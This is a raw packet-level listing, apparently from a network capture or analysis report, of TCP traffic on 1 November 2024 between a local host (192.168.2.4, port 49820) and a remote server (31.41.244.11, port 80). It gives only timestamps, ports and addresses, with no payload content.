Nov 1, 2024 10:57:10.934228897 CET	80	49820	31.41.244.11	192.168.2.4
Nov 1, 2024 10:57:10.934231997 CET	49820	80	192.168.2.4	31.41.244.11
Nov 1, 2024 10:57:10.934246063 CET	80	49820	31.41.244.11	192.168.2.4
Nov 1, 2024 10:57:10.934257030 CET	80	49820	31.41.244.11	192.168.2.4
Nov 1, 2024 10:57:10.934267044 CET	49820	80	192.168.2.4	31.41.244.11
Nov 1, 2024 10:57:10.934299946 CET	49820	80	192.168.2.4	31.41.244.11
Nov 1, 2024 10:57:10.934323072 CET	80	49820	31.41.244.11	192.168.2.4
Nov 1, 2024 10:57:10.934334993 CET	80	49820	31.41.244.11	192.168.2.4
Nov 1, 2024 10:57:10.934345007 CET	80	49820	31.41.244.11	192.168.2.4
Nov 1, 2024 10:57:10.934355974 CET	80	49820	31.41.244.11	192.168.2.4
Nov 1, 2024 10:57:10.934369087 CET	49820	80	192.168.2.4	31.41.244.11
Nov 1, 2024 10:57:10.934387922 CET	49820	80	192.168.2.4	31.41.244.11
Nov 1, 2024 10:57:10.934464931 CET	80	49820	31.41.244.11	192.168.2.4
Nov 1, 2024 10:57:10.934477091 CET	80	49820	31.41.244.11	192.168.2.4
Nov 1, 2024 10:57:10.934487104 CET	80	49820	31.41.244.11	192.168.2.4
Nov 1, 2024 10:57:10.934499025 CET	80	49820	31.41.244.11	192.168.2.4
Nov 1, 2024 10:57:10.934509039 CET	49820	80	192.168.2.4	31.41.244.11
Nov 1, 2024 10:57:10.934518099 CET	80	49820	31.41.244.11	192.168.2.4
Nov 1, 2024 10:57:10.934535027 CET	49820	80	192.168.2.4	31.41.244.11
Nov 1, 2024 10:57:10.934539080 CET	80	49820	31.41.244.11	192.168.2.4
Nov 1, 2024 10:57:10.934550047 CET	80	49820	31.41.244.11	192.168.2.4
Nov 1, 2024 10:57:10.934555054 CET	49820	80	192.168.2.4	31.41.244.11
Nov 1, 2024 10:57:10.934562922 CET	80	49820	31.41.244.11	192.168.2.4
Nov 1, 2024 10:57:10.934570074 CET	49820	80	192.168.2.4	31.41.244.11
Nov 1, 2024 10:57:10.934591055 CET	49820	80	192.168.2.4	31.41.244.11
Nov 1, 2024 10:57:10.934613943 CET	49820	80	192.168.2.4	31.41.244.11
Nov 1, 2024 10:57:10.934657097 CET	80	49820	31.41.244.11	192.168.2.4
Nov 1, 2024 10:57:10.934669018 CET	80	49820	31.41.244.11	192.168.2.4
Nov 1, 2024 10:57:10.934679031 CET	80	49820	31.41.244.11	192.168.2.4
Nov 1, 2024 10:57:10.934691906 CET	80	49820	31.41.244.11	192.168.2.4
Nov 1, 2024 10:57:10.934703112 CET	80	49820	31.41.244.11	192.168.2.4
Nov 1, 2024 10:57:10.934709072 CET	49820	80	192.168.2.4	31.41.244.11
Nov 1, 2024 10:57:10.934714079 CET	80	49820	31.41.244.11	192.168.2.4
Nov 1, 2024 10:57:10.934727907 CET	80	49820	31.41.244.11	192.168.2.4
Nov 1, 2024 10:57:10.934735060 CET	49820	80	192.168.2.4	31.41.244.11
Nov 1, 2024 10:57:10.934742928 CET	80	49820	31.41.244.11	192.168.2.4
Nov 1, 2024 10:57:10.934751034 CET	49820	80	192.168.2.4	31.41.244.11
Nov 1, 2024 10:57:10.934784889 CET	49820	80	192.168.2.4	31.41.244.11
Nov 1, 2024 10:57:10.934818029 CET	80	49820	31.41.244.11	192.168.2.4
Nov 1, 2024 10:57:10.934829950 CET	80	49820	31.41.244.11	192.168.2.4
Nov 1, 2024 10:57:10.934839964 CET	80	49820	31.41.244.11	192.168.2.4
Nov 1, 2024 10:57:10.934850931 CET	80	49820	31.41.244.11	192.168.2.4
Nov 1, 2024 10:57:10.934870005 CET	49820	80	192.168.2.4	31.41.244.11
Nov 1, 2024 10:57:10.934880972 CET	49820	80	192.168.2.4	31.41.244.11
Nov 1, 2024 10:57:10.935746908 CET	80	49820	31.41.244.11	192.168.2.4
Nov 1, 2024 10:57:10.935755968 CET	80	49820	31.41.244.11	192.168.2.4
Nov 1, 2024 10:57:10.935765028 CET	80	49820	31.41.244.11	192.168.2.4
Nov 1, 2024 10:57:10.935781002 CET	80	49820	31.41.244.11	192.168.2.4
Nov 1, 2024 10:57:10.935795069 CET	80	49820	31.41.244.11	192.168.2.4
Nov 1, 2024 10:57:10.935802937 CET	49820	80	192.168.2.4	31.41.244.11
Nov 1, 2024 10:57:10.935806990 CET	80	49820	31.41.244.11	192.168.2.4
Nov 1, 2024 10:57:10.935817003 CET	80	49820	31.41.244.11	192.168.2.4
Nov 1, 2024 10:57:10.935822964 CET	49820	80	192.168.2.4	31.41.244.11
Nov 1, 2024 10:57:10.935832977 CET	80	49820	31.41.244.11	192.168.2.4
Nov 1, 2024 10:57:10.935842991 CET	49820	80	192.168.2.4	31.41.244.11
Nov 1, 2024 10:57:10.935843945 CET	80	49820	31.41.244.11	192.168.2.4
Nov 1, 2024 10:57:10.935853958 CET	49820	80	192.168.2.4	31.41.244.11
Nov 1, 2024 10:57:10.935858011 CET	80	49820	31.41.244.11	192.168.2.4
Nov 1, 2024 10:57:10.935868979 CET	80	49820	31.41.244.11	192.168.2.4
Nov 1, 2024 10:57:10.935878992 CET	80	49820	31.41.244.11	192.168.2.4
Nov 1, 2024 10:57:10.935894012 CET	49820	80	192.168.2.4	31.41.244.11
Nov 1, 2024 10:57:10.935983896 CET	80	49820	31.41.244.11	192.168.2.4
Nov 1, 2024 10:57:10.936001062 CET	80	49820	31.41.244.11	192.168.2.4
Nov 1, 2024 10:57:10.936008930 CET	49820	80	192.168.2.4	31.41.244.11
Nov 1, 2024 10:57:10.936012030 CET	80	49820	31.41.244.11	192.168.2.4
Nov 1, 2024 10:57:10.936018944 CET	49820	80	192.168.2.4	31.41.244.11
Nov 1, 2024 10:57:10.936043978 CET	49820	80	192.168.2.4	31.41.244.11
Nov 1, 2024 10:57:10.936052084 CET	80	49820	31.41.244.11	192.168.2.4
Nov 1, 2024 10:57:10.936063051 CET	80	49820	31.41.244.11	192.168.2.4
Nov 1, 2024 10:57:10.936063051 CET	49820	80	192.168.2.4	31.41.244.11
Nov 1, 2024 10:57:10.936074972 CET	80	49820	31.41.244.11	192.168.2.4
Nov 1, 2024 10:57:10.936090946 CET	49820	80	192.168.2.4	31.41.244.11
Nov 1, 2024 10:57:10.936103106 CET	80	49820	31.41.244.11	192.168.2.4
Nov 1, 2024 10:57:10.936110020 CET	49820	80	192.168.2.4	31.41.244.11
Nov 1, 2024 10:57:10.936115026 CET	80	49820	31.41.244.11	192.168.2.4
Nov 1, 2024 10:57:10.936125994 CET	80	49820	31.41.244.11	192.168.2.4
Nov 1, 2024 10:57:10.936148882 CET	80	49820	31.41.244.11	192.168.2.4
Nov 1, 2024 10:57:10.936151028 CET	49820	80	192.168.2.4	31.41.244.11
Nov 1, 2024 10:57:10.936171055 CET	49820	80	192.168.2.4	31.41.244.11
Nov 1, 2024 10:57:10.936192036 CET	80	49820	31.41.244.11	192.168.2.4
Nov 1, 2024 10:57:10.936193943 CET	49820	80	192.168.2.4	31.41.244.11
Nov 1, 2024 10:57:10.936204910 CET	80	49820	31.41.244.11	192.168.2.4
Nov 1, 2024 10:57:10.936244011 CET	49820	80	192.168.2.4	31.41.244.11
Nov 1, 2024 10:57:10.936274052 CET	80	49820	31.41.244.11	192.168.2.4
Nov 1, 2024 10:57:10.936285019 CET	80	49820	31.41.244.11	192.168.2.4
Nov 1, 2024 10:57:10.936295033 CET	80	49820	31.41.244.11	192.168.2.4
Nov 1, 2024 10:57:10.936305046 CET	80	49820	31.41.244.11	192.168.2.4
Nov 1, 2024 10:57:10.936312914 CET	49820	80	192.168.2.4	31.41.244.11
Nov 1, 2024 10:57:10.936345100 CET	49820	80	192.168.2.4	31.41.244.11
Nov 1, 2024 10:57:10.936361074 CET	80	49820	31.41.244.11	192.168.2.4
Nov 1, 2024 10:57:10.936392069 CET	80	49820	31.41.244.11	192.168.2.4
Nov 1, 2024 10:57:10.936402082 CET	80	49820	31.41.244.11	192.168.2.4
Nov 1, 2024 10:57:10.936430931 CET	49820	80	192.168.2.4	31.41.244.11
Nov 1, 2024 10:57:10.936441898 CET	49820	80	192.168.2.4	31.41.244.11
Nov 1, 2024 10:57:10.936513901 CET	80	49820	31.41.244.11	192.168.2.4
Nov 1, 2024 10:57:10.936523914 CET	80	49820	31.41.244.11	192.168.2.4
Nov 1, 2024 10:57:10.936553955 CET	49820	80	192.168.2.4	31.41.244.11
Nov 1, 2024 10:57:10.936634064 CET	80	49820	31.41.244.11	192.168.2.4
Nov 1, 2024 10:57:10.936644077 CET	80	49820	31.41.244.11	192.168.2.4
Nov 1, 2024 10:57:10.936654091 CET	80	49820	31.41.244.11	192.168.2.4
Nov 1, 2024 10:57:10.936665058 CET	80	49820	31.41.244.11	192.168.2.4
Nov 1, 2024 10:57:10.936675072 CET	49820	80	192.168.2.4	31.41.244.11
Nov 1, 2024 10:57:10.936676025 CET	80	49820	31.41.244.11	192.168.2.4
Nov 1, 2024 10:57:10.936695099 CET	49820	80	192.168.2.4	31.41.244.11
Nov 1, 2024 10:57:10.936729908 CET	80	49820	31.41.244.11	192.168.2.4
Nov 1, 2024 10:57:10.936732054 CET	49820	80	192.168.2.4	31.41.244.11
Nov 1, 2024 10:57:10.936742067 CET	80	49820	31.41.244.11	192.168.2.4
Nov 1, 2024 10:57:10.936753035 CET	80	49820	31.41.244.11	192.168.2.4
Nov 1, 2024 10:57:10.936763048 CET	80	49820	31.41.244.11	192.168.2.4
Nov 1, 2024 10:57:10.936774015 CET	80	49820	31.41.244.11	192.168.2.4
Nov 1, 2024 10:57:10.936779022 CET	49820	80	192.168.2.4	31.41.244.11
Nov 1, 2024 10:57:10.936784983 CET	80	49820	31.41.244.11	192.168.2.4
Nov 1, 2024 10:57:10.936794043 CET	49820	80	192.168.2.4	31.41.244.11
Nov 1, 2024 10:57:10.936798096 CET	80	49820	31.41.244.11	192.168.2.4
Nov 1, 2024 10:57:10.936810017 CET	80	49820	31.41.244.11	192.168.2.4
Nov 1, 2024 10:57:10.936822891 CET	49820	80	192.168.2.4	31.41.244.11
Nov 1, 2024 10:57:10.936832905 CET	49820	80	192.168.2.4	31.41.244.11
Nov 1, 2024 10:57:10.936861038 CET	49820	80	192.168.2.4	31.41.244.11
Nov 1, 2024 10:57:10.954514980 CET	80	49820	31.41.244.11	192.168.2.4
Nov 1, 2024 10:57:10.954544067 CET	80	49820	31.41.244.11	192.168.2.4
Nov 1, 2024 10:57:10.954559088 CET	80	49820	31.41.244.11	192.168.2.4
Nov 1, 2024 10:57:10.954571009 CET	80	49820	31.41.244.11	192.168.2.4
Nov 1, 2024 10:57:10.954581022 CET	80	49820	31.41.244.11	192.168.2.4
Nov 1, 2024 10:57:10.954591990 CET	80	49820	31.41.244.11	192.168.2.4
Nov 1, 2024 10:57:10.954603910 CET	80	49820	31.41.244.11	192.168.2.4
Nov 1, 2024 10:57:10.954615116 CET	49820	80	192.168.2.4	31.41.244.11
Nov 1, 2024 10:57:10.954627991 CET	49820	80	192.168.2.4	31.41.244.11
Nov 1, 2024 10:57:10.954663992 CET	80	49820	31.41.244.11	192.168.2.4
Nov 1, 2024 10:57:10.954672098 CET	49820	80	192.168.2.4	31.41.244.11
Nov 1, 2024 10:57:10.954675913 CET	80	49820	31.41.244.11	192.168.2.4
Nov 1, 2024 10:57:10.954685926 CET	80	49820	31.41.244.11	192.168.2.4
Nov 1, 2024 10:57:10.954694986 CET	80	49820	31.41.244.11	192.168.2.4
Nov 1, 2024 10:57:10.954706907 CET	80	49820	31.41.244.11	192.168.2.4
Nov 1, 2024 10:57:10.954711914 CET	49820	80	192.168.2.4	31.41.244.11
Nov 1, 2024 10:57:10.954719067 CET	80	49820	31.41.244.11	192.168.2.4
Nov 1, 2024 10:57:10.954735041 CET	49820	80	192.168.2.4	31.41.244.11
Nov 1, 2024 10:57:10.954756975 CET	49820	80	192.168.2.4	31.41.244.11
Nov 1, 2024 10:57:10.954781055 CET	49820	80	192.168.2.4	31.41.244.11
Nov 1, 2024 10:57:10.954895020 CET	80	49820	31.41.244.11	192.168.2.4
Nov 1, 2024 10:57:10.954940081 CET	49820	80	192.168.2.4	31.41.244.11
Nov 1, 2024 10:57:10.954952002 CET	80	49820	31.41.244.11	192.168.2.4
Nov 1, 2024 10:57:10.954962015 CET	80	49820	31.41.244.11	192.168.2.4
Nov 1, 2024 10:57:10.954971075 CET	80	49820	31.41.244.11	192.168.2.4
Nov 1, 2024 10:57:10.954988003 CET	80	49820	31.41.244.11	192.168.2.4
Nov 1, 2024 10:57:10.954998970 CET	80	49820	31.41.244.11	192.168.2.4
Nov 1, 2024 10:57:10.954999924 CET	49820	80	192.168.2.4	31.41.244.11
Nov 1, 2024 10:57:10.955014944 CET	80	49820	31.41.244.11	192.168.2.4
Nov 1, 2024 10:57:10.955024958 CET	80	49820	31.41.244.11	192.168.2.4
Nov 1, 2024 10:57:10.955024958 CET	49820	80	192.168.2.4	31.41.244.11
Nov 1, 2024 10:57:10.955038071 CET	80	49820	31.41.244.11	192.168.2.4
Nov 1, 2024 10:57:10.955056906 CET	49820	80	192.168.2.4	31.41.244.11
Nov 1, 2024 10:57:10.955080986 CET	49820	80	192.168.2.4	31.41.244.11
Nov 1, 2024 10:57:10.955182076 CET	80	49820	31.41.244.11	192.168.2.4
Nov 1, 2024 10:57:10.955236912 CET	80	49820	31.41.244.11	192.168.2.4
Nov 1, 2024 10:57:10.955248117 CET	80	49820	31.41.244.11	192.168.2.4
Nov 1, 2024 10:57:10.955259085 CET	80	49820	31.41.244.11	192.168.2.4
Nov 1, 2024 10:57:10.955276966 CET	49820	80	192.168.2.4	31.41.244.11
Nov 1, 2024 10:57:10.955288887 CET	49820	80	192.168.2.4	31.41.244.11
Nov 1, 2024 10:57:10.955355883 CET	80	49820	31.41.244.11	192.168.2.4
Nov 1, 2024 10:57:10.955368042 CET	80	49820	31.41.244.11	192.168.2.4
Nov 1, 2024 10:57:10.955404043 CET	49820	80	192.168.2.4	31.41.244.11
Nov 1, 2024 10:57:10.955414057 CET	80	49820	31.41.244.11	192.168.2.4
Nov 1, 2024 10:57:10.955425978 CET	80	49820	31.41.244.11	192.168.2.4
Nov 1, 2024 10:57:10.955457926 CET	49820	80	192.168.2.4	31.41.244.11
Nov 1, 2024 10:57:10.955492973 CET	80	49820	31.41.244.11	192.168.2.4
Nov 1, 2024 10:57:10.955537081 CET	49820	80	192.168.2.4	31.41.244.11
Nov 1, 2024 10:57:10.955543041 CET	80	49820	31.41.244.11	192.168.2.4
Nov 1, 2024 10:57:10.955554008 CET	80	49820	31.41.244.11	192.168.2.4
Nov 1, 2024 10:57:10.955564022 CET	80	49820	31.41.244.11	192.168.2.4
Nov 1, 2024 10:57:10.955585003 CET	49820	80	192.168.2.4	31.41.244.11
Nov 1, 2024 10:57:10.955610037 CET	49820	80	192.168.2.4	31.41.244.11
Nov 1, 2024 10:57:10.956001043 CET	80	49820	31.41.244.11	192.168.2.4
Nov 1, 2024 10:57:10.956020117 CET	80	49820	31.41.244.11	192.168.2.4
Nov 1, 2024 10:57:10.956029892 CET	80	49820	31.41.244.11	192.168.2.4
Nov 1, 2024 10:57:10.956063032 CET	49820	80	192.168.2.4	31.41.244.11
Nov 1, 2024 10:57:10.956073999 CET	80	49820	31.41.244.11	192.168.2.4
Nov 1, 2024 10:57:10.956084967 CET	80	49820	31.41.244.11	192.168.2.4
Nov 1, 2024 10:57:10.956113100 CET	49820	80	192.168.2.4	31.41.244.11
Nov 1, 2024 10:57:10.956142902 CET	80	49820	31.41.244.11	192.168.2.4
Nov 1, 2024 10:57:10.956152916 CET	80	49820	31.41.244.11	192.168.2.4
Nov 1, 2024 10:57:10.956182003 CET	49820	80	192.168.2.4	31.41.244.11
Nov 1, 2024 10:57:10.956299067 CET	80	49820	31.41.244.11	192.168.2.4
Nov 1, 2024 10:57:10.956310034 CET	80	49820	31.41.244.11	192.168.2.4
Nov 1, 2024 10:57:10.956319094 CET	80	49820	31.41.244.11	192.168.2.4
Nov 1, 2024 10:57:10.956332922 CET	80	49820	31.41.244.11	192.168.2.4
Nov 1, 2024 10:57:10.956340075 CET	49820	80	192.168.2.4	31.41.244.11
Nov 1, 2024 10:57:10.956343889 CET	80	49820	31.41.244.11	192.168.2.4
Nov 1, 2024 10:57:10.956357956 CET	49820	80	192.168.2.4	31.41.244.11
Nov 1, 2024 10:57:10.956379890 CET	49820	80	192.168.2.4	31.41.244.11
Nov 1, 2024 10:57:10.956404924 CET	80	49820	31.41.244.11	192.168.2.4
Nov 1, 2024 10:57:10.956415892 CET	80	49820	31.41.244.11	192.168.2.4
Nov 1, 2024 10:57:10.956427097 CET	80	49820	31.41.244.11	192.168.2.4
Nov 1, 2024 10:57:10.956453085 CET	49820	80	192.168.2.4	31.41.244.11
Nov 1, 2024 10:57:10.956464052 CET	49820	80	192.168.2.4	31.41.244.11
Nov 1, 2024 10:57:10.956520081 CET	80	49820	31.41.244.11	192.168.2.4
Nov 1, 2024 10:57:10.956531048 CET	80	49820	31.41.244.11	192.168.2.4
Nov 1, 2024 10:57:10.956542015 CET	80	49820	31.41.244.11	192.168.2.4
Nov 1, 2024 10:57:10.956554890 CET	80	49820	31.41.244.11	192.168.2.4
Nov 1, 2024 10:57:10.956564903 CET	49820	80	192.168.2.4	31.41.244.11
Nov 1, 2024 10:57:10.956590891 CET	49820	80	192.168.2.4	31.41.244.11
Nov 1, 2024 10:57:10.956605911 CET	80	49820	31.41.244.11	192.168.2.4
Nov 1, 2024 10:57:10.956617117 CET	80	49820	31.41.244.11	192.168.2.4
Nov 1, 2024 10:57:10.956628084 CET	80	49820	31.41.244.11	192.168.2.4
Nov 1, 2024 10:57:10.956640005 CET	80	49820	31.41.244.11	192.168.2.4
Nov 1, 2024 10:57:10.956650019 CET	49820	80	192.168.2.4	31.41.244.11
Nov 1, 2024 10:57:10.956654072 CET	80	49820	31.41.244.11	192.168.2.4
Nov 1, 2024 10:57:10.956665993 CET	49820	80	192.168.2.4	31.41.244.11
Nov 1, 2024 10:57:10.956691980 CET	49820	80	192.168.2.4	31.41.244.11
Nov 1, 2024 10:57:10.956748009 CET	80	49820	31.41.244.11	192.168.2.4
Nov 1, 2024 10:57:10.956758976 CET	80	49820	31.41.244.11	192.168.2.4
Nov 1, 2024 10:57:10.956768036 CET	80	49820	31.41.244.11	192.168.2.4
Nov 1, 2024 10:57:10.956779003 CET	80	49820	31.41.244.11	192.168.2.4
Nov 1, 2024 10:57:10.956787109 CET	49820	80	192.168.2.4	31.41.244.11
Nov 1, 2024 10:57:10.956790924 CET	80	49820	31.41.244.11	192.168.2.4
Nov 1, 2024 10:57:10.956796885 CET	49820	80	192.168.2.4	31.41.244.11
Nov 1, 2024 10:57:10.956804037 CET	80	49820	31.41.244.11	192.168.2.4
Nov 1, 2024 10:57:10.956823111 CET	49820	80	192.168.2.4	31.41.244.11
Nov 1, 2024 10:57:10.956842899 CET	49820	80	192.168.2.4	31.41.244.11
Nov 1, 2024 10:57:10.956952095 CET	80	49820	31.41.244.11	192.168.2.4
Nov 1, 2024 10:57:10.957026958 CET	80	49820	31.41.244.11	192.168.2.4
Nov 1, 2024 10:57:10.957036018 CET	80	49820	31.41.244.11	192.168.2.4
Nov 1, 2024 10:57:10.957046032 CET	80	49820	31.41.244.11	192.168.2.4
Nov 1, 2024 10:57:10.957060099 CET	80	49820	31.41.244.11	192.168.2.4
Nov 1, 2024 10:57:10.957070112 CET	49820	80	192.168.2.4	31.41.244.11
Nov 1, 2024 10:57:10.957072020 CET	80	49820	31.41.244.11	192.168.2.4
Nov 1, 2024 10:57:10.957086086 CET	80	49820	31.41.244.11	192.168.2.4
Nov 1, 2024 10:57:10.957097054 CET	49820	80	192.168.2.4	31.41.244.11
Nov 1, 2024 10:57:10.957099915 CET	80	49820	31.41.244.11	192.168.2.4
Nov 1, 2024 10:57:10.957110882 CET	49820	80	192.168.2.4	31.41.244.11
Nov 1, 2024 10:57:10.957128048 CET	80	49820	31.41.244.11	192.168.2.4
Nov 1, 2024 10:57:10.957138062 CET	49820	80	192.168.2.4	31.41.244.11
Nov 1, 2024 10:57:10.957142115 CET	80	49820	31.41.244.11	192.168.2.4
Nov 1, 2024 10:57:10.957151890 CET	80	49820	31.41.244.11	192.168.2.4
Nov 1, 2024 10:57:10.957163095 CET	80	49820	31.41.244.11	192.168.2.4
Nov 1, 2024 10:57:10.957165003 CET	49820	80	192.168.2.4	31.41.244.11
Nov 1, 2024 10:57:10.957175970 CET	80	49820	31.41.244.11	192.168.2.4
Nov 1, 2024 10:57:10.957190037 CET	49820	80	192.168.2.4	31.41.244.11
Nov 1, 2024 10:57:10.957216024 CET	49820	80	192.168.2.4	31.41.244.11
Nov 1, 2024 10:57:10.957218885 CET	80	49820	31.41.244.11	192.168.2.4
Nov 1, 2024 10:57:10.957231045 CET	80	49820	31.41.244.11	192.168.2.4
Nov 1, 2024 10:57:10.957241058 CET	80	49820	31.41.244.11	192.168.2.4
Nov 1, 2024 10:57:10.957264900 CET	49820	80	192.168.2.4	31.41.244.11
Nov 1, 2024 10:57:10.957276106 CET	49820	80	192.168.2.4	31.41.244.11
Nov 1, 2024 10:57:10.957290888 CET	80	49820	31.41.244.11	192.168.2.4
Nov 1, 2024 10:57:10.957302094 CET	80	49820	31.41.244.11	192.168.2.4
Nov 1, 2024 10:57:10.957312107 CET	80	49820	31.41.244.11	192.168.2.4
Nov 1, 2024 10:57:10.957339048 CET	49820	80	192.168.2.4	31.41.244.11
Nov 1, 2024 10:57:10.957360983 CET	49820	80	192.168.2.4	31.41.244.11
Nov 1, 2024 10:57:10.958945990 CET	80	49820	31.41.244.11	192.168.2.4
Nov 1, 2024 10:57:10.958957911 CET	80	49820	31.41.244.11	192.168.2.4
Nov 1, 2024 10:57:10.959002972 CET	49820	80	192.168.2.4	31.41.244.11
Nov 1, 2024 10:57:10.959048986 CET	80	49820	31.41.244.11	192.168.2.4
Nov 1, 2024 10:57:10.959059954 CET	80	49820	31.41.244.11	192.168.2.4
Nov 1, 2024 10:57:10.959070921 CET	80	49820	31.41.244.11	192.168.2.4
Nov 1, 2024 10:57:10.959084034 CET	80	49820	31.41.244.11	192.168.2.4
Nov 1, 2024 10:57:10.959090948 CET	49820	80	192.168.2.4	31.41.244.11
Nov 1, 2024 10:57:10.959095955 CET	80	49820	31.41.244.11	192.168.2.4
Nov 1, 2024 10:57:10.959106922 CET	80	49820	31.41.244.11	192.168.2.4
Nov 1, 2024 10:57:10.959110022 CET	49820	80	192.168.2.4	31.41.244.11
Nov 1, 2024 10:57:10.959124088 CET	80	49820	31.41.244.11	192.168.2.4
Nov 1, 2024 10:57:10.959132910 CET	80	49820	31.41.244.11	192.168.2.4
Nov 1, 2024 10:57:10.959137917 CET	49820	80	192.168.2.4	31.41.244.11
Nov 1, 2024 10:57:10.959145069 CET	80	49820	31.41.244.11	192.168.2.4
Nov 1, 2024 10:57:10.959162951 CET	49820	80	192.168.2.4	31.41.244.11
Nov 1, 2024 10:57:10.959162951 CET	80	49820	31.41.244.11	192.168.2.4
Nov 1, 2024 10:57:10.959173918 CET	49820	80	192.168.2.4	31.41.244.11
Nov 1, 2024 10:57:10.959176064 CET	80	49820	31.41.244.11	192.168.2.4
Nov 1, 2024 10:57:10.959187984 CET	80	49820	31.41.244.11	192.168.2.4
Nov 1, 2024 10:57:10.959198952 CET	80	49820	31.41.244.11	192.168.2.4
Nov 1, 2024 10:57:10.959204912 CET	49820	80	192.168.2.4	31.41.244.11
Nov 1, 2024 10:57:10.959228039 CET	49820	80	192.168.2.4	31.41.244.11
Nov 1, 2024 10:57:10.959240913 CET	49820	80	192.168.2.4	31.41.244.11
Nov 1, 2024 10:57:10.959250927 CET	80	49820	31.41.244.11	192.168.2.4
Nov 1, 2024 10:57:10.959259987 CET	80	49820	31.41.244.11	192.168.2.4
Nov 1, 2024 10:57:10.959269047 CET	80	49820	31.41.244.11	192.168.2.4
Nov 1, 2024 10:57:10.959279060 CET	80	49820	31.41.244.11	192.168.2.4
Nov 1, 2024 10:57:10.959287882 CET	49820	80	192.168.2.4	31.41.244.11
Nov 1, 2024 10:57:10.959316015 CET	49820	80	192.168.2.4	31.41.244.11
Nov 1, 2024 10:57:10.959358931 CET	80	49820	31.41.244.11	192.168.2.4
Nov 1, 2024 10:57:10.959371090 CET	80	49820	31.41.244.11	192.168.2.4
Nov 1, 2024 10:57:10.959379911 CET	80	49820	31.41.244.11	192.168.2.4
Nov 1, 2024 10:57:10.959389925 CET	80	49820	31.41.244.11	192.168.2.4
Nov 1, 2024 10:57:10.959399939 CET	80	49820	31.41.244.11	192.168.2.4
Nov 1, 2024 10:57:10.959403992 CET	49820	80	192.168.2.4	31.41.244.11
Nov 1, 2024 10:57:10.959410906 CET	80	49820	31.41.244.11	192.168.2.4
Nov 1, 2024 10:57:10.959414959 CET	49820	80	192.168.2.4	31.41.244.11
Nov 1, 2024 10:57:10.959434986 CET	49820	80	192.168.2.4	31.41.244.11
Nov 1, 2024 10:57:10.959460020 CET	49820	80	192.168.2.4	31.41.244.11
Nov 1, 2024 10:57:10.959515095 CET	80	49820	31.41.244.11	192.168.2.4
Nov 1, 2024 10:57:10.959527016 CET	80	49820	31.41.244.11	192.168.2.4
Nov 1, 2024 10:57:10.959536076 CET	80	49820	31.41.244.11	192.168.2.4
Nov 1, 2024 10:57:10.959546089 CET	80	49820	31.41.244.11	192.168.2.4
Nov 1, 2024 10:57:10.959551096 CET	49820	80	192.168.2.4	31.41.244.11
Nov 1, 2024 10:57:10.959557056 CET	80	49820	31.41.244.11	192.168.2.4
Nov 1, 2024 10:57:10.959568024 CET	80	49820	31.41.244.11	192.168.2.4
Nov 1, 2024 10:57:10.959578037 CET	49820	80	192.168.2.4	31.41.244.11
Nov 1, 2024 10:57:10.959578037 CET	80	49820	31.41.244.11	192.168.2.4
Nov 1, 2024 10:57:10.959589958 CET	49820	80	192.168.2.4	31.41.244.11
Nov 1, 2024 10:57:10.959590912 CET	80	49820	31.41.244.11	192.168.2.4
Nov 1, 2024 10:57:10.959600925 CET	80	49820	31.41.244.11	192.168.2.4
Nov 1, 2024 10:57:10.959619045 CET	49820	80	192.168.2.4	31.41.244.11
Nov 1, 2024 10:57:10.959644079 CET	49820	80	192.168.2.4	31.41.244.11
Nov 1, 2024 10:57:10.959916115 CET	80	49820	31.41.244.11	192.168.2.4
Nov 1, 2024 10:57:10.959969997 CET	80	49820	31.41.244.11	192.168.2.4
Nov 1, 2024 10:57:10.959988117 CET	80	49820	31.41.244.11	192.168.2.4
Nov 1, 2024 10:57:10.960021019 CET	49820	80	192.168.2.4	31.41.244.11
Nov 1, 2024 10:57:10.960042000 CET	49820	80	192.168.2.4	31.41.244.11
Nov 1, 2024 10:57:10.960052013 CET	80	49820	31.41.244.11	192.168.2.4
Nov 1, 2024 10:57:10.960063934 CET	80	49820	31.41.244.11	192.168.2.4
Nov 1, 2024 10:57:10.960074902 CET	80	49820	31.41.244.11	192.168.2.4
Nov 1, 2024 10:57:10.960099936 CET	49820	80	192.168.2.4	31.41.244.11
Nov 1, 2024 10:57:10.960118055 CET	49820	80	192.168.2.4	31.41.244.11
Nov 1, 2024 10:57:10.960124969 CET	80	49820	31.41.244.11	192.168.2.4
Nov 1, 2024 10:57:10.960293055 CET	80	49820	31.41.244.11	192.168.2.4
Nov 1, 2024 10:57:10.960331917 CET	49820	80	192.168.2.4	31.41.244.11
Nov 1, 2024 10:57:10.960352898 CET	80	49820	31.41.244.11	192.168.2.4
Nov 1, 2024 10:57:10.960371017 CET	80	49820	31.41.244.11	192.168.2.4
Nov 1, 2024 10:57:10.960381985 CET	80	49820	31.41.244.11	192.168.2.4
Nov 1, 2024 10:57:10.960391998 CET	49820	80	192.168.2.4	31.41.244.11
Nov 1, 2024 10:57:10.960417986 CET	49820	80	192.168.2.4	31.41.244.11
Nov 1, 2024 10:57:10.960445881 CET	80	49820	31.41.244.11	192.168.2.4
Nov 1, 2024 10:57:10.960458040 CET	80	49820	31.41.244.11	192.168.2.4
Nov 1, 2024 10:57:10.960469007 CET	80	49820	31.41.244.11	192.168.2.4
Nov 1, 2024 10:57:10.960479021 CET	80	49820	31.41.244.11	192.168.2.4
Nov 1, 2024 10:57:10.960480928 CET	49820	80	192.168.2.4	31.41.244.11
Nov 1, 2024 10:57:10.960490942 CET	80	49820	31.41.244.11	192.168.2.4
Nov 1, 2024 10:57:10.960508108 CET	80	49820	31.41.244.11	192.168.2.4
Nov 1, 2024 10:57:10.960513115 CET	49820	80	192.168.2.4	31.41.244.11
Nov 1, 2024 10:57:10.960519075 CET	80	49820	31.41.244.11	192.168.2.4
Nov 1, 2024 10:57:10.960534096 CET	49820	80	192.168.2.4	31.41.244.11
Nov 1, 2024 10:57:10.960536003 CET	80	49820	31.41.244.11	192.168.2.4
Nov 1, 2024 10:57:10.960556984 CET	49820	80	192.168.2.4	31.41.244.11
Nov 1, 2024 10:57:10.960565090 CET	80	49820	31.41.244.11	192.168.2.4
Nov 1, 2024 10:57:10.960576057 CET	80	49820	31.41.244.11	192.168.2.4
Nov 1, 2024 10:57:10.960582018 CET	49820	80	192.168.2.4	31.41.244.11
Nov 1, 2024 10:57:10.960586071 CET	80	49820	31.41.244.11	192.168.2.4
Nov 1, 2024 10:57:10.960613012 CET	49820	80	192.168.2.4	31.41.244.11
Nov 1, 2024 10:57:10.960625887 CET	49820	80	192.168.2.4	31.41.244.11
Nov 1, 2024 10:57:10.960661888 CET	80	49820	31.41.244.11	192.168.2.4
Nov 1, 2024 10:57:10.960674047 CET	80	49820	31.41.244.11	192.168.2.4
